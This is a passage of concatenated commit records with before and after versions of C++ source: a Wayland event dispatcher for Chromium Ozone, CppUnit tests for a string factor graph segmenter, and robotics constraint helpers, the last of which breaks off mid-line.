observer_(NULL)\n{\n instance_ = this;\n if (display_fd_) {\n epoll_fd_ = osEpollCreateCloExec();\n struct epoll_event ep;\n ep.events = EPOLLIN | EPOLLOUT;\n ep.data.ptr = 0;\n epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, display_fd_, &ep);\n }\n\n loop_ = base::MessageLoop::current();\n Options options;\n options.message_loop_type = base::MessageLoop::TYPE_IO;\n StartWithOptions(options);\n SetPriority(base::kThreadPriority_Background);\n}\n\nWaylandDispatcher::~WaylandDispatcher()\n{\n ignore_task_ = true;\n loop_ = NULL;\n running = false;\n Stop();\n\n if (epoll_fd_) {\n close(epoll_fd_);\n epoll_fd_ = 0;\n }\n\n instance_ = NULL;\n}\n\nvoid WaylandDispatcher::HandleFlush()\n{\n wl_display* waylandDisp = WaylandDisplay::GetInstance()->display();\n\n while (wl_display_prepare_read(waylandDisp) != 0)\n wl_display_dispatch_pending(waylandDisp);\n\n wl_display_flush(waylandDisp);\n wl_display_read_events(waylandDisp);\n wl_display_dispatch_pending(waylandDisp);\n}\n\nvoid WaylandDispatcher::DisplayRun(WaylandDispatcher* data)\n{\n struct epoll_event ep[16];\n int i, count, ret;\n\n data->running = 1;\n \/\/ Adopted from:\n \/\/ http:\/\/cgit.freedesktop.org\/wayland\/weston\/tree\/clients\/window.c#n5531.\n while (1) {\n wl_display* waylandDisp = WaylandDisplay::GetInstance()->display();\n wl_display_dispatch_pending(waylandDisp);\n\n if (!data->running)\n break;\n\n ret = wl_display_flush(waylandDisp);\n if (ret < 0 && errno == EAGAIN) {\n ep[0].events = EPOLLIN | EPOLLOUT | EPOLLERR | EPOLLHUP;\n epoll_ctl(data->epoll_fd_, EPOLL_CTL_MOD, data->display_fd_, &ep[0]);\n } else if (ret < 0) {\n break;\n }\n\n count = epoll_wait(data->epoll_fd_, ep, 16, -1);\n for (i = 0; i < count; i++) {\n int ret;\n uint32_t event = ep[i].events;\n\n if (event & EPOLLERR || event & EPOLLHUP)\n return;\n\n if (event & EPOLLIN) {\n ret = wl_display_dispatch(waylandDisp);\n if (ret == -1)\n return;\n }\n\n if (event & EPOLLOUT) {\n ret = wl_display_flush(waylandDisp);\n if (ret == 0) {\n struct epoll_event eps;\n memset(&eps, 0, sizeof(eps));\n\n eps.events = EPOLLIN | EPOLLERR | EPOLLHUP;\n epoll_ctl(data->epoll_fd_, EPOLL_CTL_MOD, data->display_fd_, &eps);\n } else if (ret == -1 && errno != EAGAIN) {\n return;\n }\n }\n }\n }\n}\n\nvoid WaylandDispatcher::NotifyPointerEnter(WaylandDispatcher* data,\n unsigned handle) {\n if (data->observer_)\n data->observer_->OnWindowEnter(handle);\n}\n\nvoid WaylandDispatcher::NotifyPointerLeave(WaylandDispatcher* data,\n unsigned handle) {\n if (data->observer_)\n data->observer_->OnWindowLeave(handle);\n}\n\n\nvoid WaylandDispatcher::NotifyButtonPress(WaylandDispatcher* data,\n unsigned handle) {\n if (data->observer_)\n data->observer_->OnWindowFocused(handle);\n}\n\nvoid WaylandDispatcher::DispatchEventHelper(scoped_ptr<ui::Event> key) {\n base::MessagePumpOzone::Current()->Dispatch(key.get());\n}\n\nvoid WaylandDispatcher::SendMotionNotify(float x, float y)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_MotionNotify(x, y));\n}\n\nvoid WaylandDispatcher::SendButtonNotify(unsigned handle,\n int state,\n int flags,\n float x,\n float y)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_ButtonNotify(handle, state, flags, x, y));\n}\n\nvoid WaylandDispatcher::SendAxisNotify(float x, float y, float xoffset,\n float yoffset)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_AxisNotify(x, y, xoffset, yoffset));\n}\n\nvoid WaylandDispatcher::SendPointerEnter(unsigned handle, float x, float y)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_PointerEnter(handle, x, y));\n}\n\nvoid WaylandDispatcher::SendPointerLeave(unsigned handle, float x, float y)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_PointerLeave(handle, x, y));\n}\n\nvoid WaylandDispatcher::SendKeyNotify(unsigned type, unsigned code,\n unsigned modifiers)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_KeyNotify(type, code, modifiers));\n}\n\nvoid WaylandDispatcher::SendOutputSizeChanged(unsigned width, unsigned height)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_OutputSize(width, height));\n}\n\nvoid WaylandDispatcher::MessageLoopDestroyed()\n{\n if (!IsRunning())\n return;\n\n ignore_task_ = true;\n loop_ = NULL;\n running = false;\n Stop();\n}\n\n} \/\/ namespace ozonewayland\n<commit_msg>Pass keyboard modifiers correctly.<commit_after>\/\/ Copyright 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ozone\/wayland\/dispatcher.h\"\n\n#include \"ozone\/wayland\/display.h\"\n#include \"ozone\/wayland\/input\/kbd_conversion.h\"\n#include \"base\/bind.h\"\n#include \"base\/message_loop\/message_pump_ozone.h\"\n#include \"content\/child\/child_thread.h\"\n#include \"content\/child\/child_process.h\"\n\n#include <errno.h>\n#include <fcntl.h>\n#include <sys\/epoll.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n#include <wayland-client.h>\n\nnamespace {\n\ncontent::ChildThread* GetProcessMainThread()\n{\n content::ChildProcess* process = content::ChildProcess::current();\n DCHECK(process);\n DCHECK(process->main_thread());\n return process ? process->main_thread() : NULL;\n}\n\n}\n\nnamespace ozonewayland {\nWaylandDispatcher* WaylandDispatcher::instance_ = NULL;\n\n\/\/ os-compatibility\nextern \"C\" {\nint osEpollCreateCloExec(void);\n\nstatic int setCloExecOrClose(int fd)\n{\n long flags;\n\n if (fd == -1)\n return -1;\n\n flags = fcntl(fd, F_GETFD);\n if (flags == -1)\n goto err;\n\n if (fcntl(fd, F_SETFD, flags | FD_CLOEXEC) == -1)\n goto err;\n\n return fd;\n\nerr:\n close(fd);\n return -1;\n}\n\nint osEpollCreateCloExec(void)\n{\n int fd;\n\n#ifdef EPOLL_CLOEXEC\n fd = epoll_create1(EPOLL_CLOEXEC);\n if (fd >= 0)\n return fd;\n if (errno != EINVAL)\n return -1;\n#endif\n\n fd = epoll_create(1);\n return setCloExecOrClose(fd);\n}\n\n} \/\/ os-compatibility\n\nvoid WaylandDispatcher::MotionNotify(float x, float y)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::SendMotionNotify, x, y));\n } else {\n scoped_ptr<ui::MouseEvent> mouseev(\n new ui::MouseEvent(ui::ET_MOUSE_MOVED,\n gfx::Point(x, y),\n gfx::Point(x, y),\n 0));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n mouseev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::ButtonNotify(unsigned handle,\n int state,\n int flags,\n float x,\n float y)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendButtonNotify,\n handle, state, flags, x, y));\n } else {\n ui::EventType type;\n if (state == 1)\n type = ui::ET_MOUSE_PRESSED;\n else\n type = ui::ET_MOUSE_RELEASED;\n\n scoped_ptr<ui::MouseEvent> mouseev(\n new ui::MouseEvent(type,\n gfx::Point(x, y),\n gfx::Point(x, y),\n flags));\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::NotifyButtonPress, this, handle));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n mouseev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::AxisNotify(float x, float y, float xoffset, float yoffset)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendAxisNotify,\n x, y, xoffset, yoffset));\n } else {\n ui::MouseEvent mouseev(\n ui::ET_MOUSEWHEEL,\n gfx::Point(x,y),\n gfx::Point(x,y),\n 0);\n\n scoped_ptr<ui::MouseWheelEvent> wheelev(\n new ui::MouseWheelEvent(mouseev,\n xoffset,\n yoffset));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n wheelev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::PointerEnter(unsigned handle, float x, float y)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendPointerEnter,\n handle, x, y));\n } else {\n scoped_ptr<ui::MouseEvent> mouseev(\n new ui::MouseEvent(ui::ET_MOUSE_ENTERED,\n gfx::Point(x, y),\n gfx::Point(x, y),\n handle));\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::NotifyPointerEnter, this, handle));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n mouseev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::PointerLeave(unsigned handle, float x, float y)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendPointerLeave,\n handle, x, y));\n } else {\n scoped_ptr<ui::MouseEvent> mouseev(\n new ui::MouseEvent(ui::ET_MOUSE_EXITED,\n gfx::Point(x, y),\n gfx::Point(x, y),\n 0));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::NotifyPointerLeave, this, handle));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n mouseev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::KeyNotify(unsigned state, unsigned code,\n unsigned modifiers)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendKeyNotify,\n state, code, modifiers));\n } else {\n ui::EventType type;\n if (state)\n type = ui::ET_KEY_PRESSED;\n else\n type = ui::ET_KEY_RELEASED;\n\n scoped_ptr<ui::KeyEvent> keyev(\n new ui::KeyEvent(type,\n KeyboardCodeFromXKeysym(code),\n modifiers,\n true));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n keyev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::OutputSizeChanged(unsigned width, unsigned height)\n{\n if (!running || !epoll_fd_)\n return;\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::SendOutputSizeChanged, width, height));\n}\n\nvoid WaylandDispatcher::PostTask(Task type)\n{\n if (!IsRunning() || ignore_task_)\n return;\n\n switch (type) {\n case (Flush):\n message_loop_proxy()->PostTask(\n FROM_HERE, base::Bind(&WaylandDispatcher::HandleFlush));\n break;\n case (Poll):\n if (epoll_fd_) {\n loop_ = base::MessageLoop::current();\n if (!running)\n message_loop_proxy()->PostTask(FROM_HERE, base::Bind(\n &WaylandDispatcher::DisplayRun, this));\n }\n default:\n break;\n }\n}\n\nvoid WaylandDispatcher::DispatchEvent(scoped_ptr<ui::Event> event) {\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::DispatchEventHelper,\n base::Passed(&event)));\n}\n\nvoid WaylandDispatcher::PostTaskOnMainLoop(\n const tracked_objects::Location& from_here, const base::Closure& task)\n{\n if (ignore_task_ || !IsRunning() || !loop_)\n return;\n\n loop_->message_loop_proxy()->PostTask(from_here, task);\n}\n\nWaylandDispatcher::WaylandDispatcher(int fd)\n : Thread(\"WaylandDispatcher\"),\n ignore_task_(false),\n running(false),\n epoll_fd_(0),\n display_fd_(fd),\n observer_(NULL)\n{\n instance_ = this;\n if (display_fd_) {\n epoll_fd_ = osEpollCreateCloExec();\n struct epoll_event ep;\n ep.events = EPOLLIN | EPOLLOUT;\n ep.data.ptr = 0;\n epoll_ctl(epoll_fd_, EPOLL_CTL_ADD, display_fd_, &ep);\n }\n\n loop_ = base::MessageLoop::current();\n Options options;\n options.message_loop_type = base::MessageLoop::TYPE_IO;\n StartWithOptions(options);\n SetPriority(base::kThreadPriority_Background);\n}\n\nWaylandDispatcher::~WaylandDispatcher()\n{\n ignore_task_ = true;\n loop_ = NULL;\n running = false;\n Stop();\n\n if (epoll_fd_) {\n close(epoll_fd_);\n epoll_fd_ = 0;\n }\n\n instance_ = NULL;\n}\n\nvoid WaylandDispatcher::HandleFlush()\n{\n wl_display* waylandDisp = WaylandDisplay::GetInstance()->display();\n\n while (wl_display_prepare_read(waylandDisp) != 0)\n wl_display_dispatch_pending(waylandDisp);\n\n wl_display_flush(waylandDisp);\n wl_display_read_events(waylandDisp);\n wl_display_dispatch_pending(waylandDisp);\n}\n\nvoid WaylandDispatcher::DisplayRun(WaylandDispatcher* data)\n{\n struct epoll_event ep[16];\n int i, count, ret;\n\n data->running = 1;\n \/\/ Adopted from:\n \/\/ http:\/\/cgit.freedesktop.org\/wayland\/weston\/tree\/clients\/window.c#n5531.\n while (1) {\n wl_display* waylandDisp = WaylandDisplay::GetInstance()->display();\n wl_display_dispatch_pending(waylandDisp);\n\n if (!data->running)\n break;\n\n ret = wl_display_flush(waylandDisp);\n if (ret < 0 && errno == EAGAIN) {\n ep[0].events = EPOLLIN | EPOLLOUT | EPOLLERR | EPOLLHUP;\n epoll_ctl(data->epoll_fd_, EPOLL_CTL_MOD, data->display_fd_, &ep[0]);\n } else if (ret < 0) {\n break;\n }\n\n count = epoll_wait(data->epoll_fd_, ep, 16, -1);\n for (i = 0; i < count; i++) {\n int ret;\n uint32_t event = ep[i].events;\n\n if (event & EPOLLERR || event & EPOLLHUP)\n return;\n\n if (event & EPOLLIN) {\n ret = wl_display_dispatch(waylandDisp);\n if (ret == -1)\n return;\n }\n\n if (event & EPOLLOUT) {\n ret = wl_display_flush(waylandDisp);\n if (ret == 0) {\n struct epoll_event eps;\n memset(&eps, 0, sizeof(eps));\n\n eps.events = EPOLLIN | EPOLLERR | EPOLLHUP;\n epoll_ctl(data->epoll_fd_, EPOLL_CTL_MOD, data->display_fd_, &eps);\n } else if (ret == -1 && errno != EAGAIN) {\n return;\n }\n }\n }\n }\n}\n\nvoid WaylandDispatcher::NotifyPointerEnter(WaylandDispatcher* data,\n unsigned handle) {\n if (data->observer_)\n data->observer_->OnWindowEnter(handle);\n}\n\nvoid WaylandDispatcher::NotifyPointerLeave(WaylandDispatcher* data,\n unsigned handle) {\n if (data->observer_)\n data->observer_->OnWindowLeave(handle);\n}\n\n\nvoid WaylandDispatcher::NotifyButtonPress(WaylandDispatcher* data,\n unsigned handle) {\n if (data->observer_)\n data->observer_->OnWindowFocused(handle);\n}\n\nvoid WaylandDispatcher::DispatchEventHelper(scoped_ptr<ui::Event> key) {\n base::MessagePumpOzone::Current()->Dispatch(key.get());\n}\n\nvoid WaylandDispatcher::SendMotionNotify(float x, float y)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_MotionNotify(x, y));\n}\n\nvoid WaylandDispatcher::SendButtonNotify(unsigned handle,\n int state,\n int flags,\n float x,\n float y)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_ButtonNotify(handle, state, flags, x, y));\n}\n\nvoid WaylandDispatcher::SendAxisNotify(float x, float y, float xoffset,\n float yoffset)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_AxisNotify(x, y, xoffset, yoffset));\n}\n\nvoid WaylandDispatcher::SendPointerEnter(unsigned handle, float x, float y)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_PointerEnter(handle, x, y));\n}\n\nvoid WaylandDispatcher::SendPointerLeave(unsigned handle, float x, float y)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_PointerLeave(handle, x, y));\n}\n\nvoid WaylandDispatcher::SendKeyNotify(unsigned type, unsigned code,\n unsigned modifiers)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_KeyNotify(type, code, modifiers));\n}\n\nvoid WaylandDispatcher::SendOutputSizeChanged(unsigned width, unsigned height)\n{\n content::ChildThread* thread = GetProcessMainThread();\n thread->Send(new WaylandInput_OutputSize(width, height));\n}\n\nvoid WaylandDispatcher::MessageLoopDestroyed()\n{\n if (!IsRunning())\n return;\n\n ignore_task_ = true;\n loop_ = NULL;\n running = false;\n Stop();\n}\n\n} \/\/ namespace ozonewayland\n<|endoftext|>"} {"text":"<commit_before>#include <map>\n#include <string>\n#include <vector>\n#include <cmath>\n\n#include \"defs.hh\"\n#include \"msfgtest.hh\"\n\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n\nusing namespace std;\n\n\nCPPUNIT_TEST_SUITE_REGISTRATION (msfgtest);\n\nvoid msfgtest :: setUp (void)\n{\n start_end.assign(\"*\");\n}\n\nvoid msfgtest :: tearDown (void)\n{\n}\n\nvoid msfgtest :: MultiStringFactorGraphTest1 (void)\n{\n MultiStringFactorGraph msfg(start_end);\n\n map<string, flt_type> vocab;\n vocab[\"k\"] = 0.0;\n vocab[\"i\"] = 0.0;\n vocab[\"s\"] = 0.0;\n vocab[\"a\"] = 0.0;\n vocab[\"sa\"] = 0.0;\n vocab[\"ki\"] = 0.0;\n vocab[\"kis\"] = 0.0;\n vocab[\"kissa\"] = 0.0;\n vocab[\"lle\"] = 0.0;\n vocab[\"kin\"] = 0.0;\n vocab[\"kala\"] = 0.0;\n\n string sentence(\"kissa\");\n FactorGraph fg(sentence, start_end, vocab, 5);\n string sentence2(\"kissallekin\");\n FactorGraph fg2(sentence2, start_end, vocab, 5);\n string sentence3(\"kissakala\");\n FactorGraph fg3(sentence3, start_end, vocab, 5);\n msfg.add(fg);\n CPPUNIT_ASSERT_EQUAL( 1, (int)msfg.string_end_nodes.size() );\n CPPUNIT_ASSERT_EQUAL( 7, (int)msfg.num_paths(sentence) );\n msfg.add(fg2);\n CPPUNIT_ASSERT_EQUAL( 2, (int)msfg.string_end_nodes.size() );\n CPPUNIT_ASSERT_EQUAL( 7, (int)msfg.num_paths(sentence2) );\n msfg.add(fg3);\n CPPUNIT_ASSERT_EQUAL( 3, (int)msfg.string_end_nodes.size() );\n CPPUNIT_ASSERT_EQUAL( 7, (int)msfg.num_paths(sentence3) );\n}\n\nvoid msfgtest :: MultiStringFactorGraphTest2 (void)\n{\n MultiStringFactorGraph msfg(start_end);\n\n map<string, flt_type> vocab;\n vocab[\"k\"] = 0.0;\n vocab[\"i\"] = 0.0;\n vocab[\"s\"] = 0.0;\n vocab[\"a\"] = 0.0;\n vocab[\"sa\"] = 0.0;\n vocab[\"ki\"] = 0.0;\n vocab[\"la\"] = 0.0;\n vocab[\"kis\"] = 0.0;\n vocab[\"kissa\"] = 0.0;\n vocab[\"lle\"] = 0.0;\n vocab[\"kin\"] = 0.0;\n vocab[\"kala\"] = 0.0;\n\n string sentence(\"kissa\");\n FactorGraph fg(sentence, start_end, vocab, 5);\n string sentence2(\"kala\");\n FactorGraph fg2(sentence2, start_end, vocab, 5);\n string sentence3(\"kissakala\");\n FactorGraph fg3(sentence3, start_end, vocab, 5);\n msfg.add(fg);\n msfg.add(fg2);\n msfg.add(fg3);\n}\n\n\/\/ No possible segmentation\nvoid msfgtest :: MultiStringFactorGraphTest3 (void)\n{\n CPPUNIT_ASSERT (false);\n}\n<commit_msg>Failing test case for path counting.<commit_after>#include <map>\n#include <string>\n#include <vector>\n#include <cmath>\n\n#include \"defs.hh\"\n#include \"msfgtest.hh\"\n\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n\nusing namespace std;\n\n\nCPPUNIT_TEST_SUITE_REGISTRATION (msfgtest);\n\nvoid msfgtest :: setUp (void)\n{\n start_end.assign(\"*\");\n}\n\nvoid msfgtest :: tearDown (void)\n{\n}\n\nvoid msfgtest :: MultiStringFactorGraphTest1 (void)\n{\n MultiStringFactorGraph msfg(start_end);\n\n map<string, flt_type> vocab;\n vocab[\"k\"] = 0.0;\n vocab[\"i\"] = 0.0;\n vocab[\"s\"] = 0.0;\n vocab[\"a\"] = 0.0;\n vocab[\"sa\"] = 0.0;\n vocab[\"ki\"] = 0.0;\n vocab[\"kis\"] = 0.0;\n vocab[\"kissa\"] = 0.0;\n vocab[\"lle\"] = 0.0;\n vocab[\"kin\"] = 0.0;\n vocab[\"kala\"] = 0.0;\n\n string sentence(\"kissa\");\n FactorGraph fg(sentence, start_end, vocab, 5);\n string sentence2(\"kissallekin\");\n FactorGraph fg2(sentence2, start_end, vocab, 5);\n string sentence3(\"kissakala\");\n FactorGraph fg3(sentence3, start_end, vocab, 5);\n msfg.add(fg);\n CPPUNIT_ASSERT_EQUAL( 1, (int)msfg.string_end_nodes.size() );\n CPPUNIT_ASSERT_EQUAL( 7, (int)msfg.num_paths(sentence) );\n msfg.add(fg2);\n CPPUNIT_ASSERT_EQUAL( 2, (int)msfg.string_end_nodes.size() );\n CPPUNIT_ASSERT_EQUAL( 7, (int)msfg.num_paths(sentence2) );\n msfg.add(fg3);\n CPPUNIT_ASSERT_EQUAL( 3, (int)msfg.string_end_nodes.size() );\n CPPUNIT_ASSERT_EQUAL( 7, (int)msfg.num_paths(sentence3) );\n}\n\nvoid msfgtest :: MultiStringFactorGraphTest2 (void)\n{\n MultiStringFactorGraph msfg(start_end);\n\n map<string, flt_type> vocab;\n vocab[\"k\"] = 0.0;\n vocab[\"i\"] = 0.0;\n vocab[\"s\"] = 0.0;\n vocab[\"a\"] = 0.0;\n vocab[\"sa\"] = 0.0;\n vocab[\"ki\"] = 0.0;\n vocab[\"la\"] = 0.0;\n vocab[\"kis\"] = 0.0;\n vocab[\"kissa\"] = 0.0;\n vocab[\"lle\"] = 0.0;\n vocab[\"kin\"] = 0.0;\n vocab[\"kala\"] = 0.0;\n\n string sentence(\"kissa\");\n FactorGraph fg(sentence, start_end, vocab, 5);\n string sentence2(\"kala\");\n FactorGraph fg2(sentence2, start_end, vocab, 5);\n string sentence3(\"kissakala\");\n FactorGraph fg3(sentence3, start_end, vocab, 5);\n msfg.add(fg);\n msfg.add(fg2);\n msfg.add(fg3);\n}\n\n\/\/ No possible segmentation\nvoid msfgtest :: MultiStringFactorGraphTest3 (void)\n{\n MultiStringFactorGraph msfg(start_end);\n\n map<string, flt_type> vocab;\n vocab[\"aarian\"] = 0.0;\n vocab[\"aari\"] = 0.0;\n vocab[\"an\"] = 0.0;\n vocab[\"a\"] = 0.0;\n vocab[\"ari\"] = 0.0;\n vocab[\"ri\"] = 0.0;\n vocab[\"ar\"] = 0.0;\n vocab[\"i\"] = 0.0;\n vocab[\"n\"] = 0.0;\n vocab[\"r\"] = 0.0;\n\n string word(\"aarian\");\n FactorGraph fg(word, start_end, vocab, 6);\n msfg.add(fg);\n vector<vector<string> > paths;\n msfg.get_paths(word, paths);\n CPPUNIT_ASSERT_EQUAL( 11, (int)paths.size() );\n CPPUNIT_ASSERT_EQUAL( 11, msfg.num_paths(word) );\n}\n<|endoftext|>"} {"text":"<commit_before>#include <aikido\/constraint\/dart.hpp>\n#include <aikido\/constraint\/DifferentiableSubSpace.hpp>\n#include <aikido\/constraint\/StackedConstraint.hpp>\n#include <dart\/common\/StlHelpers.h>\n\nnamespace aikido {\nnamespace constraint {\n\n\/\/=============================================================================\nstd::unique_ptr<Differentiable> createDifferentiableBounds(\n std::shared_ptr<statespace::JointStateSpace> _stateSpace)\n{\n return detail::ForOneOf<\n detail::createDifferentiableFor_impl,\n statespace::JointStateSpace,\n detail::JointStateSpaceTypeList\n >::create(std::move(_stateSpace));\n}\n\n\/\/=============================================================================\nstd::unique_ptr<Differentiable> createDifferentiableBounds(\n statespace::MetaSkeletonStateSpacePtr _metaSkeleton)\n{\n const auto n = _metaSkeleton->getNumStates();\n\n std::vector<std::shared_ptr<Differentiable>> constraints;\n constraints.reserve(n);\n\n \/\/ TODO: Filter out trivial constraints for efficiency.\n for (size_t i = 0; i < n; ++i)\n {\n auto subspace = _metaSkeleton->getSubSpace<statespace::JointStateSpace>(i);\n auto subSpaceConstraint = createDifferentiableBounds(std::move(subspace));\n auto constraint = std::make_shared<DifferentiableSubSpace>(\n _metaSkeleton, std::move(subSpaceConstraint), i);\n constraints.emplace_back(std::move(constraint));\n }\n\n \/\/ TODO: We should std::move constraints here, but we can't because\n \/\/ StackedConstraint does not take by value.\n return dart::common::make_unique<StackedConstraint>(\n constraints, _metaSkeleton);\n}\n\n\/\/=============================================================================\nstd::unique_ptr<Projectable> createProjectableBounds(\n std::shared_ptr<statespace::JointStateSpace> _stateSpace)\n{\n return detail::ForOneOf<\n detail::createProjectableFor_impl,\n statespace::JointStateSpace,\n detail::JointStateSpaceTypeList\n >::create(std::move(_stateSpace));\n}\n\n\/\/=============================================================================\nstd::unique_ptr<Projectable> createProjectableBounds(\n statespace::MetaSkeletonStateSpacePtr _metaSkeleton)\n{\n const auto n = _metaSkeleton->getNumStates();\n\n std::vector<std::shared_ptr<Projectable>> constraints;\n constraints.reserve(n);\n\n for (size_t i = 0; i < n; ++i)\n {\n auto subspace = _metaSkeleton->getSubSpace<statespace::JointStateSpace>(i);\n auto constraint = createProjectableBounds(std::move(subspace));\n constraints.emplace_back(constraint.release());\n }\n\n \/\/ TODO: Apply a separate constraint to each dimension.\n\n throw std::runtime_error(\"not implemented\");\n}\n\n\/\/=============================================================================\nstd::unique_ptr<TestableConstraint> createTestableBounds(\n std::shared_ptr<statespace::JointStateSpace> _stateSpace)\n{\n return detail::ForOneOf<\n detail::createTestableFor_impl,\n statespace::JointStateSpace,\n detail::JointStateSpaceTypeList\n >::create(std::move(_stateSpace));\n}\n\n\/\/=============================================================================\nstd::unique_ptr<TestableConstraint> createTestableBounds(\n statespace::MetaSkeletonStateSpacePtr _metaSkeleton)\n{\n const auto n = _metaSkeleton->getNumStates();\n\n std::vector<std::shared_ptr<TestableConstraint>> constraints;\n constraints.reserve(n);\n\n for (size_t i = 0; i < n; ++i)\n {\n auto subspace = _metaSkeleton->getSubSpace<statespace::JointStateSpace>(i);\n auto constraint = createTestableBounds(std::move(subspace));\n constraints.emplace_back(constraint.release());\n }\n\n \/\/ TODO: Apply a separate constraint to each dimension.\n\n throw std::runtime_error(\"not implemented\");\n}\n\n\/\/=============================================================================\nstd::unique_ptr<SampleableConstraint> createSampleableBounds(\n std::shared_ptr<statespace::JointStateSpace> _stateSpace,\n std::unique_ptr<util::RNG> _rng)\n{\n return detail::ForOneOf<\n detail::createSampleableFor_impl,\n statespace::JointStateSpace,\n detail::JointStateSpaceTypeList\n >::create(std::move(_stateSpace), std::move(_rng));\n}\n\n\/\/=============================================================================\nstd::unique_ptr<SampleableConstraint> createSampleableBounds(\n statespace::MetaSkeletonStateSpacePtr _metaSkeleton,\n std::unique_ptr<util::RNG> _rng)\n{\n \/\/ TODO: Create N random number generators.\n throw std::runtime_error(\"not implemented\");\n}\n\n} \/\/ namespace constraint\n} \/\/ namespace aikido\n<commit_msg>Added an error check<commit_after>#include <aikido\/constraint\/dart.hpp>\n#include <aikido\/constraint\/DifferentiableSubSpace.hpp>\n#include <aikido\/constraint\/StackedConstraint.hpp>\n#include <dart\/common\/StlHelpers.h>\n\nnamespace aikido {\nnamespace constraint {\n\n\/\/=============================================================================\nstd::unique_ptr<Differentiable> createDifferentiableBounds(\n std::shared_ptr<statespace::JointStateSpace> _stateSpace)\n{\n return detail::ForOneOf<\n detail::createDifferentiableFor_impl,\n statespace::JointStateSpace,\n detail::JointStateSpaceTypeList\n >::create(std::move(_stateSpace));\n}\n\n\/\/=============================================================================\nstd::unique_ptr<Differentiable> createDifferentiableBounds(\n statespace::MetaSkeletonStateSpacePtr _metaSkeleton)\n{\n if (!_metaSkeleton)\n throw std::invalid_argument(\"MetaSkeletonStateSpace is nullptr.\");\n\n const auto n = _metaSkeleton->getNumStates();\n\n std::vector<std::shared_ptr<Differentiable>> constraints;\n constraints.reserve(n);\n\n \/\/ TODO: Filter out trivial constraints for efficiency.\n for (size_t i = 0; i < n; ++i)\n {\n auto subspace = _metaSkeleton->getSubSpace<statespace::JointStateSpace>(i);\n auto subSpaceConstraint = createDifferentiableBounds(std::move(subspace));\n auto constraint = std::make_shared<DifferentiableSubSpace>(\n _metaSkeleton, std::move(subSpaceConstraint), i);\n constraints.emplace_back(std::move(constraint));\n }\n\n \/\/ TODO: We should std::move constraints here, but we can't because\n \/\/ StackedConstraint does not take by value.\n return dart::common::make_unique<StackedConstraint>(\n constraints, _metaSkeleton);\n}\n\n\/\/=============================================================================\nstd::unique_ptr<Projectable> createProjectableBounds(\n std::shared_ptr<statespace::JointStateSpace> _stateSpace)\n{\n return detail::ForOneOf<\n detail::createProjectableFor_impl,\n statespace::JointStateSpace,\n detail::JointStateSpaceTypeList\n >::create(std::move(_stateSpace));\n}\n\n\/\/=============================================================================\nstd::unique_ptr<Projectable> createProjectableBounds(\n statespace::MetaSkeletonStateSpacePtr _metaSkeleton)\n{\n const auto n = _metaSkeleton->getNumStates();\n\n std::vector<std::shared_ptr<Projectable>> constraints;\n constraints.reserve(n);\n\n for (size_t i = 0; i < n; ++i)\n {\n auto subspace = _metaSkeleton->getSubSpace<statespace::JointStateSpace>(i);\n auto constraint 